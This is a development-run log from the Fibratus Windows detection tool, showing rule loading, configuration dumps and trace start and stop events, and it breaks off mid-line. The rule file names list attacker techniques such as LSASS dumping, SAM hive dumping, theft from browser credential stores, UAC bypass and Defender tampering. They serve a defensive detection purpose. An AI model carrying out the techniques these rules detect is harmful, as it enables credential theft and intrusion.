+time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:37:34+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T15:37:34+01:00 level=info msg=bootstrapping with pid 3216. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T15:37:34+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] port=>25 enabled=>false content-type=>text/html use-template=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-image=>true enable-net=>true stack-enrichment=>true flush-interval=>1s min-buffers=>16 enable-threadpool=>false buffer-size=>512 enable-fileio=>true enable-thread=>true enable-registry=>true enable-dns=>false max-buffers=>36 enable-audit-api=>true enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info max-backups=>15 max-size=>100 log-stdout=>true max-age=>0] + output ......................... [ eventlog=>[ level=>info enabled=>false] amqp=>[ exchange-type=>topic durable=>false tls-insecure-skip-verify=>false timeout=>5s vhost=>/ url=>amqp://localhost:5672 exchange=>fibratus routing-key=>fibratus delivery-mode=>transient passive=>false enabled=>false] elasticsearch=>[ timeout=>5s gzip-compression=>false trace-log=>false servers=>[http://127.0.0.1:9200] flush-period=>1s index-name=>fibratus healthcheck-timeout=>5s healthcheck=>true bulk-workers=>1 sniff=>false healthcheck-interval=>10s enabled=>false template-name=>fibratus] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ serializer=>json endpoints=>[] tls-insecure-skip-verify=>false method=>POST timeout=>5s enable-gzip=>false enabled=>false]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-allocs=>false excluded-procs=>[] skip-mmaps=>false skip-registry=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-files=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-25T15:37:35+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:37:37+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:38:16+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T15:38:16+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:38:17+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:38:39+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T15:38:39+01:00 level=info msg=bootstrapping with pid 13184. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T15:38:39+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html to=>[] use-template=>true enabled=>false port=>25] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true max-buffers=>36 enable-registry=>true flush-interval=>1s stack-enrichment=>true buffer-size=>512 enable-image=>true enable-thread=>true enable-mem=>false enable-vamap=>true enable-dns=>false enable-threadpool=>false min-buffers=>16 enable-audit-api=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-backups=>15 level=>info log-stdout=>true max-age=>0 max-size=>100] + output ......................... [ eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] amqp=>[ vhost=>/ passive=>false routing-key=>fibratus tls-insecure-skip-verify=>false enabled=>false url=>amqp://localhost:5672 exchange=>fibratus durable=>false exchange-type=>topic delivery-mode=>transient timeout=>5s] http=>[ method=>POST timeout=>5s serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] enabled=>false] elasticsearch=>[ healthcheck-interval=>10s sniff=>false trace-log=>false healthcheck-timeout=>5s template-name=>fibratus bulk-workers=>1 healthcheck=>true timeout=>5s enabled=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus flush-period=>1s]] + pe ............................. [ read-resources=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-files=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false skip-registry=>false excluded-procs=>[] scan-timeout=>10s enabled=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-25T15:38:40+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:38:42+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:39:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T15:39:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:39:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:39:35+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T15:39:35+01:00 level=info msg=bootstrapping with pid 2408. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T15:39:35+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 content-type=>text/html enabled=>false use-template=>true to=>[]] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-thread=>true enable-audit-api=>true enable-fileio=>true min-buffers=>16 enable-handle=>false enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true enable-net=>true buffer-size=>512 flush-interval=>1s enable-vamap=>true enable-mem=>false max-buffers=>36 enable-dns=>false enable-threadpool=>false enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-backups=>15 level=>info max-size=>100 formatter=>text max-age=>0] + output ......................... [ http=>[ timeout=>5s serializer=>json endpoints=>[] enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false method=>POST] amqp=>[ vhost=>/ delivery-mode=>transient passive=>false timeout=>5s tls-insecure-skip-verify=>false exchange-type=>topic routing-key=>fibratus exchange=>fibratus enabled=>false durable=>false url=>amqp://localhost:5672] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] elasticsearch=>[ servers=>[http://127.0.0.1:9200] template-name=>fibratus flush-period=>1s gzip-compression=>false timeout=>5s healthcheck=>true index-name=>fibratus healthcheck-timeout=>5s enabled=>false sniff=>false healthcheck-interval=>10s trace-log=>false bulk-workers=>1] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ enabled=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true excluded-procs=>[] skip-allocs=>false excluded-files=>[] skip-mmaps=>false skip-registry=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T15:39:35+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:39:38+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:41:08+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T15:41:08+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:41:09+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:41:43+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from 